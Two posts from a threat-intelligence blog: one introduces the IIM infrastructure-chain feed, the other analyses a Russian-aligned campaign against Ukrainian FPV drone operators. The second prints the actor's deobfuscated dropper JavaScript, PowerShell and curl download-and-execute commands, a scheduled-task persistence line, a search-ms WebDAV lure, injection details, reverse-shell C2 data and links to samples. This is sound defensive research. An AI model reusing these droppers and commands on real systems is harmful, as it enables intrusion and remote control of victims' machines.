IIM Feed: Attack Pattern Mapping for Adversary Infrastructure (5/7)

by Robin Dost

Part 5 of 7 of building the Malwarebox Ecosystem
URL: https://feed.iim.malwarebox.eu
Malwarebox: https://malwarebox.eu
IIM: https://iim.malwarebox.eu
IIM Spec: https://github.com/MalwareboxEU/IIM


I have been working on IIM for a while now, mostly because adversary infrastructure is still weirdly underrepresented in public CTI.
If you track adversaries, you’re probably familiar with the challenge of reconstructing their attacks:

  • We have IOC feeds.
  • We have malware databases.
  • We have ATT&CK mappings.
  • We have long reports with screenshots, diagrams and tables.

All useful.

And still, when you want to understand how an operation was actually built, you often end up doing the same thing manually again:

Open the report -> Extract the domains -> Follow the URLs -> Check the samples -> Look at the redirect chain -> Find the staging host -> Check what the payload talks to -> Write notes -> Draw a mental grap -> Maybe put it into some internal tool -> Then forget where half of the context came from three weeks later

Very efficient. Very 2026.

So I built a public viewer for IIM chains:

https://feed.iim.malwarebox.eu

The goal is simple:

Make adversary infrastructure chains visible, browsable and reusable 🙂

What the feed website is

The IIM Public Feed website is a public interface for structured IIM chains.

[LIVE VIEW]

Instead of only publishing isolated indicators, the feed shows how observed infrastructure components are connected inside an operation.

A chain can include things like:

entry -> redirector -> staging -> payload -> c2

Or, in a more practical example:

Each element has a role, each connection a relation and each chain can include actor context, campaign context, source references and evidence.

So the question is no longer only:

Which domains were used?

The better question becomes:

How did these domains, URLs, payloads and endpoints work together?

That is the entire point of the feed.

Why this exists

A lot of public CTI is still flattened too early.
An operation starts as a chain of infrastructure, delivery logic, payloads and backend communication.
By the time it lands in a feed, it often becomes this:

  • domain
  • ip
  • url
  • hash
  • tag

Great. Technically correct. Also missing half of the useful context.

The problem is not that IOCs are useless.
They are useful.
Blocking, detection, enrichment, correlation, retro-hunting, all of that still needs indicators.

The problem is that an IOC without role and relation is only a fragment.

A domain can be many things.

It can be an entry point, a redirector, host a payload, part of C2, a decoy or it can be unrelated noise that looked interesting for five minutes.

  • A hash can be a payload.
  • A URL can be staging.
  • An IP can be backend infrastructure.
  • A compromised site can be part of a delivery chain without being “the actor’s server”.

Without structure, all of that gets thrown into the same bucket.

And then everyone pretends the bucket is intelligence.

What IIM adds

IIM stands for Infrastructure Intelligence Model.

It is a model for describing adversary infrastructure as chains of roles and relations.

The idea is intentionally boring in the best way:

Give infrastructure components a role.
Connect them with meaningful relations.
Keep the evidence attached.
Make the chain readable for humans and usable for machines.

In IIM terms, a component might have a role like:

  • entry
  • redirector
  • staging
  • payload
  • c2

And relations can describe how components interact:

  • redirects_to
  • hosts
  • downloads
  • drops
  • communicates_with
  • resolves_to

That creates a structured view of the operation.
A way to stop losing the shape of the infrastructure the moment we export the data.

Which, honestly, feels overdue.

What makes feed.iim.malwarebox.eu useful

The website gives these chains a public place.

You can look at an actor or campaign and inspect the infrastructure chain behind it.
Instead of reading a paragraph and then scrolling to an IOC appendix, the structure is visible directly.
You can filter by actor and simply click on an available chain to see how the attacker structures their attacks 🙂

The important part is the relationship between objects.

For example:

domain A redirected to URL B
URL B staged payload C
payload C contacted endpoint D
endpoint D was linked to actor/campaign context

That is already much more useful than a flat list.

It shows the path, the role of each object, why an indicator matters and it gives the analyst something to reason about.

This is especially useful when looking across multiple campaigns.
If the same actor keeps using similar layouts, similar staging behavior, similar redirect setups or similar backend separation, that becomes visible as a pattern.

And that is where infrastructure analysis becomes more interesting than “here are five domains, have fun”.

Publication periods & Participating

Malwarebox will regularly use internal and public reports to generate IIM chains, so you can understand how attackers structure their attacks.

If you build your own IIM chains and would like to publish them with us, please feel free to email them to me at contact@malwarebox.eu, including relevant references so we can validate the results (blog posts, write-ups, etc.).
Since I’ve been doing most of the work on my own so far, I’ve now put together a small team, but we’d love to grow 🙂
If you’d like to join the current initiative (publishing analyses, development) or support us in other ways (e.g., financially, *this work isn’t cheap* or through evaluation), please feel free to contact us at the email address above, every bit of support helps us improve and move faster!

Why this matters for adversary understanding

Understanding adversaries is not only about naming them.

Actor names are useful, but they are also messy. Different vendors use different names, clusters shift, overlaps happen, confidence changes and sometimes everyone is clearly talking about related activity while pretending the naming situation is totally fine.

Classic CTI moment.

Infrastructure gives another angle.

  • How does the actor deliver payloads?
  • Do they use redirectors?
  • Do they rely on compromised infrastructure?
  • Do they separate staging and C2?
  • Do they reuse backend systems?
  • Do they rotate only the visible front layer?
  • Do they make the same operational mistakes repeatedly?

Those questions are not answered well by a hash list.

They are also not fully answered by ATT&CK technique IDs.

ATT&CK is good for behavior.
Malware databases are good for malware family knowledge.
IOC feeds are good for indicator distribution.

The IIM feed focuses on the infrastructure chain.

That is the missing public layer I care about here.

Where Mantis fits in

The feed is connected to the wider Malwarebox ecosystem.

Mantis is used as an internal place to collect, reverse engineer and process malware samples, metadata and related observations.
Some of that context can then be turned into structured IIM chains and published through the public feed.

So the flow is roughly:

Mantis
-> collect / import / enrich observations

IIM
-> model infrastructure as roles and relations

IIM Public Feeds
-> publish selected chains in a browsable form

Malwarebox
-> connect chains with research, actor pages and defensive context

That connection is important.

The feed is not meant to be a random gallery of graphs. It is meant to become a public layer where selected infrastructure chains from real research and observations can be exposed in a consistent format.

This is attack pattern mapping on the infrastructure layer

The easiest way to describe the idea is probably this:

IIM Public Feeds map attack patterns on the infrastructure layer.

The focus is how adversaries compose infrastructure during operations.

  • Delivery paths
  • Redirect layers
  • Staging locations
  • Payload hosting
  • C2 exposure
  • Reuse across campaigns
  • Relationships between moving parts

That gives defenders and analysts a different view.

  • A single domain may be dead tomorrow.
  • A payload URL may disappear.
  • A hosting provider may suspend the server.
  • The campaign may rotate visible infrastructure.

But the way the operation is structured can still tell you something.

Sometimes the structure is clean, sometimes it is messy, sometimes it is lazy and sometimes it is surprisingly consistent.

All of that is analytical signal for us 🙂

Why public access matters

A lot of infrastructure mapping already happens somewhere.

In private vendor platforms, internal analyst graphs, screenshots inside PDFs, notes that never leave a team, spreadsheets with names like apt_infra_final_v4_REAL.xlsx.

That is fine for internal workflows, but it does not create a public reference layer.

Public IIM chains can be linked.
They can help students, researchers and defenders understand operations faster.

That is one of the reasons I wanted this to be visible on a public website.
This could also become a large-scale disruptive measure if it gains widespread adoption.
Until then, we will continue to publish updates and refine our approach wherever possible.

How this fits next to existing sources

The goal is not to replace existing projects.

Malpedia is useful for malware family knowledge.
ATT&CK is useful for behavioral technique mapping.
ThreatFox and similar feeds are useful for indicators.
MalwareBazaar & Co are useful for samples.
Reports are useful for narrative analysis.

IIM Public Feeds sit next to those layers and focus on the infrastructure structure.

A simple way to put it:

Malpedia: What malware family are we looking at?
ATT&CK: What behavior and techniques are involved?
IOC Feeds: Which indicators were observed?
IIM Feeds: How was the adversary infrastructure chained together?

That is the niche.
And yes, it is specific.

Good. Specific is useful.

Where IIMQL fits in

The feed website is only the visible part of the whole thing.

The plan is to publish new IIM feeds regularly. Some chains will come from our own internal analysis and Malwarebox research. Others will be based on public reports where the infrastructure can be reconstructed cleanly enough to turn it into an IIM chain.

And yes, we are also open to community submissions.

If someone has mapped an infrastructure chain from a report, a campaign, a sample set or their own research, that chain should not die in a screenshot, a tweet thread or a local notes folder named apt-stuff-final-final.json.

It can be turned into an IIM feed.

That is also where IIMQL becomes interesting.

IIMQL is the query language around IIM.
The idea is simple: once infrastructure chains are structured, they should also be searchable in a structured way.

At some point, you do not only want to look at one chain. You want to ask questions across many chains.

For example:

  • Show me all chains where an entry node redirects to a staging node
  • Find all payload delivery chains connected to a specific actor
  • Show campaigns where the C2 role appears behind a reused staging layer
  • Find infrastructure patterns where compromised websites are used before payload delivery
  • Show all chains that contain the same relation pattern across different actors

That is the part where this stops being just a nice public viewer and starts becoming useful as an actual research layer.

  • One chain is interesting
  • Ten chains are useful
  • A hundred chains start to show patterns

That is why the feed format matters.
If we publish chains in a consistent model, IIMQL can later query across them instead of forcing everyone to manually compare screenshots, IOC tables and half-structured report snippets.

The next logical step would be an IIMQL-based search tool on top of the public feed data.
Search by role, relation, actor, chain layout, repeated infrastructure pattern or campaign context.
Basically a way to ask questions against the infrastructure layer directly.

That needs enough data to be useful, though.
A query language without chains is just a very sophisticated way to return nothing.

So for now the focus is simple: publish more IIM chains, keep the format consistent, accept useful community feeds and build the public corpus.

Once there is enough material, IIMQL becomes the natural interface on top of it.

More on that later.

What comes next

The feed website is the public starting point.

From here, the useful next steps are pretty obvious:

  • Campaign-based chain views
  • Better evidence panels
  • Pattern comparison
  • IIMQL integration.

The goal is to make the infrastructure layer easier to inspect, compare and reason about.

Because CTI has a structure problem.
We keep collecting more indicators, more reports, more aliases, more screenshots and more tables.
Then analysts still have to reconstruct the actual operation manually.

The feed is one attempt to make that part less stupid.

UAC-0244 / UAC-0247: Malware Targeting FPV drone operators

by Robin Dost


Surprise, surprise – a new UAC article 😁

Actor: UAC-0244 / UAC-0247 / MB-0006
Malwarebox Identifier: 0006
IIM Chain: https://feed.iim.malwarebox.eu/chain/uac-0247-ukrvarta-fpv-dopomoga-2026-03


This article is a little bit older, mainly because I have been spending a lot of time on Malwarebox and several other articles recently.
It is also part of my UAC series, where I look at threat activity with a Ukraine connection, my last article “UAC-0184: From HTA to a Signed Network Stack

A few weeks ago, I analyzed a malware campaign that was clearly targeting Ukraine.
Since I first started working on this article, a few things have changed.
UAC-0247 is now considered to be linked to the same actors behind the UAC-0244 cluster, as CERT-UA describes here:

“CERT-UA звертає увагу спільноти на те, що активність, описана в цій статті як окремий кластер кіберзагроз UAC-0247, фактично здійснюється особами, діяльність яких раніше відстежувалася за ідентифікатором UAC-0244” 🇺🇦

“CERT-UA draws the community’s attention to the fact that the activity described in this article as a separate cyber threat cluster UAC-0247 is actually carried out by individuals whose activity was previously tracked under the identifier UAC-0244.” 🇬🇧

HashDescriptionDownload
8040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace158040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace15.ziphttps://mantis.malwarebox.eu/shared/x8qqIok5CDYARdCwJP4GKz9d7j8Ewr9q
c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9updater.exehttps://mantis.malwarebox.eu/shared/CfM6gyW98O01VIEtA6C6dev-GjptVRqt
b1d765f50f5c53702658b7a59a9bd05cfb042ea6b2d150191a84c53d373b9e4a
Final Payloadhttps://mantis.malwarebox.eu/shared/CfM6gyW98O01VIEtA6C6dev-GjptVRqt


The investigation started with the sample:

8040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace15

Inside the ZIP archive we downloaded, there was an LNK file named:

“Форма заявки на гуманітарну допомогу фонд УкрВарта”

Translated from Ukrainian, this means roughly:

“UkrVarta Foundation Humanitarian Aid Application Form”

So let’s unpack the archive and take a look at the LNK file with LNKParse.

This is a typical mshta to HTA infection chain launched through a Windows LNK file.
If you have been following my blog for a while, you might slowly start seeing a pattern here when it comes to Russian-aligned threat actors.

Now let’s take a look at the website.

(Website is currently offline)

Unfortunately, I only still have the screenshot of the Ukrainian version and my Ukrainian is not exactly perfect, but the headline says something along the lines of:

"A Technological Edge for Victory"

UkrVarta supplies units with state-of-the-art FPV drones, UAVs, various types of equipment, PES tools and platforms for knowledge sharing between the military and industry


The page describes UkrVarta as supporting units with modern FPV drones, UAVs, aircraft types, EW tools and platforms for exchanging experience between the military and industry.

So the lure is obviously aimed at FPV drone owners, operators or people interested in that area.

When I tried to download the payload from the LNK, however, I saw this:

At first this error looked a bit strange, but then I quickly remembered that other Russian-aligned groups seem to have a bit of a geofencing fetish.
So I ran the target through my tracking setup and, voilà, I was able to download the payload.

But, as already mentioned in my previous article, before going deeper I always check how sloppy the actor was when configuring their web server.

And once again, no real effort was made here:

All samples were simply exposed. Good job.
These kinds of mistakes do not only give us files.
They also provide directly usable intelligence on UAC-0247/UAC-0244, especially around working patterns.
And btw: They fixed this mistake after me downloading everything, so at least either they figured it out on their own, or they’re monitoring their infrastructure.

The relevant time window was:

24 February 2026 to 22 March 2026

So roughly 27 days.

Distribution by weekday:

WeekdayCount
Tuesday4
Wednesday1
Friday1
Saturday1
Sunday5

What stands out is the strong concentration around late hours:

Time windowCount
00:00-00:591
17:00-17:591
20:00-20:595
21:00-21:591
22:00-22:594

So: 10 out of 12 events happened between 20:00 and 22:59.
That is the most interesting point here.

The server itself is reachable via the IP address:

109.237.97.4

This server is hosted at nuxt[.]cloud, a Russian hosting provider. Because of that, I suspect that the system time might have been set to UTC+3. I cannot prove that, though.

Now back to the analysis.

Files such as dopomoga.hta.old are always nice to find, because they let us look at the evolution of the delivery chain.

But first, let’s look at dopomoga.hta.

At first glance, there is not much suspicious visible here, except for the included JavaScript file script.js

The script is a classic, lightly obfuscated JavaScript dropper that executes on Windows systems through ActiveX.
The whole _0x... structure only exists to hide strings at runtime. Functionally, there is nothing complex here.
It is deliberately simple code that mainly tries to make static analysis slightly more annoying.

After resolving the strings, the script instantiates WScript.Shell and Scripting.FileSystemObject

It then checks whether the following directory exists:

%LOCALAPPDATA%\OneDriveUpdater

If the directory does not exist, it creates it. The name is obviously chosen to look legitimate and avoid drawing attention.

In the next step, the script uses cmd /c and curl to download a file from:

https://ukrvart[.]online/dopomoga/updater.txt

The file is stored locally as:

%LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe

This is a simple masquerading trick: a file that looks like a text file on the server is downloaded and immediately written as an executable on disk.

Right after that, the script establishes persistence by creating a scheduled task named:

OneDriveUpdater

The task runs in the user context and starts the dropped executable every ten minutes.
The execution happens without a visible window, keeping the whole process unobtrusive for the user.

Overall, this is a typical stage-0 dropper as often seen in phishing campaigns.
It uses only built-in Windows tooling, no complex techniques, no exploit, just a clean and reliable flow:

Create folder -> download payload -> establish persistence

The actual functionality clearly lives inside the downloaded file.
This script only handles initial access and persistence.

We will look at updater.txt / updater.exe later in the article.
Before doing that, let’s look at the other files and especially compare dopomoga.hta with dopomoga.hta.old.

The file is quite small, so we can simply diff it.

The new HTA is basically just a shell. The old one did the actual work.

The old file contains the complete payload logic.
Obfuscated JavaScript builds a shell through ActiveX, stages itself under %LOCALAPPDATA%\OneDriveUpdater, pulls a payload from ukrvarta[.]online/conference/updater.txt via PowerShell, decodes it with XOR and writes the result as an EXE.
After that, it directly creates a scheduled task that executes the file every few minutes. Classic dropper with persistence, just slightly obfuscated.

In the new file, this entire block is simply gone. Instead, it only loads an external script from ukrvarta[.]online/dopomoga/script.js. Locally, nothing really happens anymore besides rendering the UI and showing a fake confirmation popup.
The actual logic has been moved into the externally loaded script.

The form was also slightly adjusted. Previously, it used checkboxes with fixed categories.
Now it uses a free-text field instead.
That makes it look less like a template and a bit more believable.

Bottom line:
same thing, but implemented more cleanly. Previously, it was a blunt HTA dropper.
It is now more of a minimal stub that dynamically loads the payload logic.

dopomoga.html

The page itself looks completely harmless at first: some text, a download hint, nothing too exciting.
The actual trick sits at the bottom: the ZIP archive is embedded directly into the HTML as Base64.
When the page is loaded, the data is decoded and automatically dropped as a file.

Compared to the HTA variants, this is not execution-focused anymore.
It is pure delivery. But it is cleaner, more stable and less noisy.

And btw: the ZIP contains the same LNK file as our initial entry sample.
So this was most likely also used as an entry vector.

conference.hta

This one disguises itself as a legitimate document related to an FPV conference.
It looks clean, contains a decent amount of text, is bilingual and appears somewhat believable at first glance.

The interesting part runs in the background again.
It uses the same obfuscated script as before: it builds a shell through ActiveX, stages itself under %LOCALAPPDATA%\OneDriveUpdater, pulls a payload from ukrvarta{.]online/conference/updater.txt via PowerShell, decodes it and writes the result as an EXE.
After that, it creates a scheduled task that starts the payload regularly.

So, technically, there is nothing really new here.
It is just different packaging. Instead of a form, the lure now uses a “serious” looking document.

Bottom line: same dropper as in the older HTA, just better wrapped to look legitimate and increase the chance that someone opens it.

conference2026_webdavroot.html

The page itself is again just bait. Some text, nothing immediately suspicious.

The real move is this line at the bottom:

window.location.href="search-ms:query=lnk&crumb=location:\\\\ukrvarta.online@8080\\davwwwroot";

This redirects the browser to a Windows search-ms URI. That does not simply open a website.
It opens Windows Search / Explorer with a predefined search. In this case, it points directly to a WebDAV share:

ukrvarta[.]online:8080/davwwwroot

and filters for .lnk files.

In practice, this is delivery through Windows features instead of a classic download.

dopomoga.html vs dopomoga.html.old

When diffing dopomoga.hta and dopomoga.hta.old, we get the following result:

Changes from Script 1 to Script 2

In the newer dopomoga.hta, the JavaScript is loaded externally, while in dopomoga.hta.old the script was embedded directly inside the HTA.

There are also several relevant changes between the two scripts.

dopomoga.hta – JS part, cleaned (Click to View)
var _0x3a94ab = _0x423d;
(function(_0x2c8484, _0x4bc3b2) {
    var _0x1c7b96 = _0x423d,
        _0xd85eea = _0x2c8484();
    while (!![]) {
        try {
            var _0x549a15 = parseInt(_0x1c7b96(0x75)) / 0x1 * (parseInt(_0x1c7b96(0x69)) / 0x2) + parseInt(_0x1c7b96(0x74)) / 0x3 * (parseInt(_0x1c7b96(0x68)) / 0x4) + parseInt(_0x1c7b96(0x6d)) / 0x5 * (parseInt(_0x1c7b96(0x71)) / 0x6) + -parseInt(_0x1c7b96(0x70)) / 0x7 + parseInt(_0x1c7b96(0x6e)) / 0x8 + -parseInt(_0x1c7b96(0x67)) / 0x9 + -parseInt(_0x1c7b96(0x6a)) / 0xa;
            if (_0x549a15 === _0x4bc3b2) break;
            else _0xd85eea['push'](_0xd85eea['shift']());
        } catch (_0x4fe4a6) {
            _0xd85eea['push'](_0xd85eea['shift']());
        }
    }
}(_0x2ef8, 0x1a797));

function _0x423d(_0x3e372e, _0x38ee68) {
    _0x3e372e = _0x3e372e - 0x66;
    var _0x2ef82a = _0x2ef8();
    var _0x423df7 = _0x2ef82a[_0x3e372e];
    return _0x423df7;
}

function _0x2ef8() {
    var _0x4ef266 = ['130JQmnzp', '3147470risYJl', 'ExpandEnvironmentStrings', 'Run', '10515Kkhyjk', '884136eDOoYM', 'FolderExists', '181503MnBNuA', '450VEtRbM', 'Scripting.FileSystemObject', 'cmd\x20/c\x20curl\x20https://ukrvarta[.]online/dopomoga/updater.txt\x20-o\x20%LOCALAPPDATA%\x5cOneDriveUpdater\x5cOneDriveUpdater.exe', '9jfLoPO', '372NwroHM', 'cmd\x20/c\x20schtasks\x20/create\x20/tn\x20\x22OneDriveUpdater\x22\x20/tr\x20\x22%LOCALAPPDATA%\x5cOneDriveUpdater\x5cOneDriveUpdater.exe\x22\x20/sc\x20MINUTE\x20/mo\x2010\x20/ru\x20\x22%USERNAME%\x22\x20/f', 'CreateFolder', '55215VCwWVW', '217104rlhWUm'];
    _0x2ef8 = function() {
        return _0x4ef266;
    };
    return _0x2ef8();
}
var shell = new ActiveXObject('WScript.Shell'),
    fso = new ActiveXObject(_0x3a94ab(0x72)),
    dir = shell[_0x3a94ab(0x6b)]('%LOCALAPPDATA%\x5cOneDriveUpdater');
if (!fso[_0x3a94ab(0x6f)](dir)) fso[_0x3a94ab(0x66)](dir);
shell[_0x3a94ab(0x6c)](_0x3a94ab(0x73), 0x0, !![]), shell['Run'](_0x3a94ab(0x76), 0x0, !![]);
dopomoga.hta.old – JS part, cleaned (Click to View)
var _0x983f2c = _0x5181;

function _0x151a() {
    var _0x46139d = ['1310370daJGwY', '100kyJUCo', 'CreateFolder', 'ExpandEnvironmentStrings', '28156932gkTQNF', 'JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AGsAcgB2AGEAcgB0AGEALgBvAG4AbABpAG4AZQAvAGMAbwBuAGYAZQByAGUAbgBjAGUALwB1AHAAZABhAHQAZQByAC4AdAB4AHQAIgAKACQAbwB1AHQAUABhAHQAaAAgAD0AIAAiACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQBcAFwATwBuAGUARAByAGkAdgBlAFUAcABkAGEAdABlAHIAXABcAE8AbgBlAEQAcgBpAHYAZQBVAHAAZABhAHQAZQByAC4AZQB4AGUAIgAKACQAawBlAHkAIAA9ACAAWwBiAHkAdABlAFsAXQBdACgAMAB4ADYANgAsADAAeAA3ADUALAAwAHgANgAzACwAMAB4ADYAYgApAAoAJABiAHkAdABlAHMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQAKACQAbwB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AAoAIAAgACAAIAAkAG8AdQB0AFsAJABpAF0AIAA9ACAAJABiAHkAdABlAHMAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0ACgB9AAoATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABvAHUAdABQAGEAdABoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAG8AdQB0AFAAYQB0AGgALAAgACQAbwB1AHQAKQA=', 'WScript.Shell', '3gPnEdG', '642260aMAGfo', 'cmd\x20/c\x20schtasks\x20/create\x20/tn\x20\x22OneDrive\x20Updater\x22\x20/tr\x20\x22%LOCALAPPDATA%\x5cOneDriveUpdater\x5cOneDriveUpdater.exe\x22\x20/sc\x20MINUTE\x20/mo\x2010\x20/ru\x20\x22%USERNAME%\x22', 'FolderExists', '3920912ddfJWR', 'Run', '8752373xtHrec', '%LOCALAPPDATA%\x5cOneDriveUpdater', 'powershell\x20-ep\x20bypass\x20-NoProfile\x20-WindowStyle\x20Hidden\x20-e\x20\x22', '7080552AbMXlm', '125420YqUUQN'];
    _0x151a = function() {
        return _0x46139d;
    };
    return _0x151a();
}(function(_0x5b2a70, _0x596711) {
    var _0x382d07 = _0x5181,
        _0x25a5cc = _0x5b2a70();
    while (!![]) {
        try {
            var _0x1b72c2 = -parseInt(_0x382d07(0x1ae)) / 0x1 + -parseInt(_0x382d07(0x1a6)) / 0x2 * (-parseInt(_0x382d07(0x1ad)) / 0x3) + parseInt(_0x382d07(0x1a7)) / 0x4 * (parseInt(_0x382d07(0x1a5)) / 0x5) + -parseInt(_0x382d07(0x1a4)) / 0x6 + -parseInt(_0x382d07(0x1b3)) / 0x7 + -parseInt(_0x382d07(0x1b1)) / 0x8 + parseInt(_0x382d07(0x1aa)) / 0x9;
            if (_0x1b72c2 === _0x596711) break;
            else _0x25a5cc['push'](_0x25a5cc['shift']());
        } catch (_0x332af4) {
            _0x25a5cc['push'](_0x25a5cc['shift']());
        }
    }
}(_0x151a, 0xcf09c));
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
    fso = new ActiveXObject('Scripting.FileSystemObject'),
    dir = shell[_0x983f2c(0x1a9)](_0x983f2c(0x1a2));
!fso[_0x983f2c(0x1b0)](dir) && fso[_0x983f2c(0x1a8)](dir);

function _0x5181(_0x151920, _0x3b71ee) {
    _0x151920 = _0x151920 - 0x1a2;
    var _0x151a28 = _0x151a();
    var _0x518101 = _0x151a28[_0x151920];
    return _0x518101;
}
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
    ps = _0x983f2c(0x1ab);
shell[_0x983f2c(0x1b2)](_0x983f2c(0x1a3) + ps + '\x22', 0x0, !![]), shell[_0x983f2c(0x1b2)](_0x983f2c(0x1af), 0x0, !![]);

The Base64 string inside the JavaScript from dopomoga.hta.old decodes to:

$url = "https://ukrvarta[.]online/conference/updater.txt"
$outPath = "$env:LOCALAPPDATA\\OneDriveUpdater\\OneDriveUpdater.exe"
$key = [byte[]](0x66,0x75,0x63,0x6b)

$bytes = (New-Object System.Net.WebClient).DownloadData($url)
$out = New-Object byte[] $bytes.Length

for ($i = 0; $i -lt $bytes.Length; $i++) {
    $out[$i] = $bytes[$i] -bxor $key[$i % $key.Length]
}

New-Item -ItemType Directory -Force -Path (Split-Path $outPath) | Out-Null
[IO.File]::WriteAllBytes($outPath, $out)

The XOR-Key is:

66 75 63 6b

ASCII:

fuck

XOR-encrypted payload removed

Old variant / dopomoga.hta.old:

The payload was loaded from:

https://ukrvarta[.]online/conference/updater.txt

Then it was locally XOR-decoded with the following key:

$key = [byte[]](0x66,0x75,0x63,0x6b)

ASCII-Key:

fuck

The decoded result was then written to:

%LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe

New variant / dopomoga.hta:

No local decryption is used anymore. Instead, the payload is downloaded directly:

cmd /c curl https://ukrvarta[.]online/dopomoga/updater.txt -o %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe

That means the new payload is stored directly as a file without the previous XOR decoding step.

PowerShell EncodedCommand removed

Old variant / Script 1:

powershell -ep bypass -NoProfile -WindowStyle Hidden -e "<base64>"

This was noisy because it included several classic malware / loader indicators:

-ep bypass
-NoProfile
-WindowStyle Hidden
-EncodedCommand

New variant / Script 2:

The newer variant only uses:

cmd /c curl ...

This is simpler. One possible reason is to reduce PowerShell telemetry, avoid AMSI / PowerShell logging and bypass typical PowerShell detection rules.

URL changed

Old:

https://ukrvarta[.]online/conference/updater.txt

New:

https://ukrvarta[.]online/dopomoga/updater.txt

So:

/conference/ -> /dopomoga/

Scheduled task name changed

Old:

/tn "OneDrive Updater"

New:

/tn "OneDriveUpdater"

The space was removed.

This matters for hunting, because both task names should be considered IOCs.

/f was added

Old / Script 1:

schtasks /create ... /ru "%USERNAME%"

Old / Script 2:

schtasks /create ... /ru "%USERNAME%" /f

The /f flag forces overwriting an existing task.

This makes the new variant more robust: if the task already exists, it gets updated or overwritten instead of failing.

updater.exe

Both the /dopomoga and /conference directories contain an updater.txt file.

Because of the JavaScript changes, we know that one of those files was encoded with the XOR key fuck. After decoding it, the resulting file had the same hash. So both chains deploy the same malware.

I analyzed the file with Ghidra and radare2. Here is the summary.

Filenameupdater.exe
Size222056 bytes
TypePE32+ x86-64 GUI executable
SHA256c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9
MD544fe18a23d6d2ca53a7234a934f438db
PETimeDateStampSat Mar 14 20:42:39 2026
ImageBase0x140000000
EntryPoint RVA0x20a4
EntryPoint VA0x1400020a4

Does anything stand out to you about PETimeDateStamp? 🙂

The PE contains an Authenticode certificate table referencing a Microsoft code-signing chain, but signature validity was not verified during this static analysis.

Resolved syscalls

The loader resolves NTDLL exports by CRC32 hash and then extracts the syscall numbers from the NTDLL stubs.

Resolved functions include:

NtOpenProcess
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtProtectVirtualMemory
NtCreateThreadEx
NtWaitForSingleObject

The corresponding hashes are:

dbf381b5 -> NtOpenProcess
e0762feb -> NtAllocateVirtualMemory
e4879939 -> NtWriteVirtualMemory
5c2d1a97 -> NtProtectVirtualMemory
2073465a -> NtCreateThreadEx
dd554681 -> NtWaitForSingleObject

This is fairly classic: minimal imports, parse NTDLL at runtime, resolve syscalls directly and avoid user-mode hooks.

Injection Chain

The outer stage specifically looks for:

RuntimeBroker.exe

The flow is roughly:

NtOpenProcess(RuntimeBroker.exe)
NtAllocateVirtualMemory(remote, size=0x19321, PAGE_READWRITE)
XOR decode local payload from .data
NtWriteVirtualMemory(remote, decoded_shellcode)
NtProtectVirtualMemory(remote, PAGE_NOACCESS)
Sleep(47999 ms)
NtProtectVirtualMemory(remote, PAGE_EXECUTE_READ)
NtCreateThreadEx(remote_base)

The PAGE_NOACCESS -> Sleep -> PAGE_EXECUTE_READ sequence is interesting.

It looks like a simple delay / evasion layer before actual execution. This is also why we do not see much when running a quick sandbox analysis.

The shellcode is stored inside the .data section of the outer PE:

Encoded blob VA:     0x14001a000
Encoded blob raw:    0x18000
Encoded size:        0x19321 bytes
XOR key:             0x66
Decoded first bytes: 57 31 c0 b9 0a 00 00 00 ...

After XOR-decoding with 0x66, we do not get a PE directly. Instead, we get x64 shellcode.

Shellcode / Nested Loader

The shellcode is itself another loader. It resolves APIs by hash again, including:

LdrLoadDll
NtAllocateVirtualMemory
NtProtectVirtualMemory
NtFreeVirtualMemory

It then processes an internal package format.

Important offsets inside the decoded shellcode:

Shellcode entry:       offset 0x0000
First package:         offset 0x0c71
Second package size:   0x15bc1
Second package body:   offset 0x3760
End of shellcode blob: 0x19321

The second package is:

XOR encrypted
LZNT1 compressed

The stage uses RtlDecompressBuffer with compression format 0x2, which means LZNT1.

After XOR + LZNT1 decompression, we get the final PE payload.

Final Payload

The unpacked payload is:

Internal name: EncryptedReverseShell.exe
Type: PE32+ x86-64 GUI executable
Size: 0x20800 bytes
SHA256: 268400390be82fcb46f1b23e0319f2f2ba477e392014b41b57df587b99ecc3c5
MD5: 1c95b3d3ac3d6f9c839df333532060b4
PE TimeDateStamp: Tue Mar 3 19:53:17 2026
EntryPoint VA: 0x140001978
Reverse shell routine: around 0x140001070

Interesting strings:

EncryptedReverseShell.exe
109.237.97.4
Connected!
cmd /C %s
C:\Users\user\source\repos\EncryptedReverseShell\x64\Release\EncryptedReverseShell.pdb

C2 / Reverse Shell

The final payload connects to:

C2 IP:   109.237.97.4
Port: 8443

In code:

lea rcx, [109.237.97.4]
call inet_addr

mov ecx, 0x20fb
call htons

0x20fb is decimal:

8443

After that, a TCP socket is created and connected.

The flow is:

1. WSAStartup
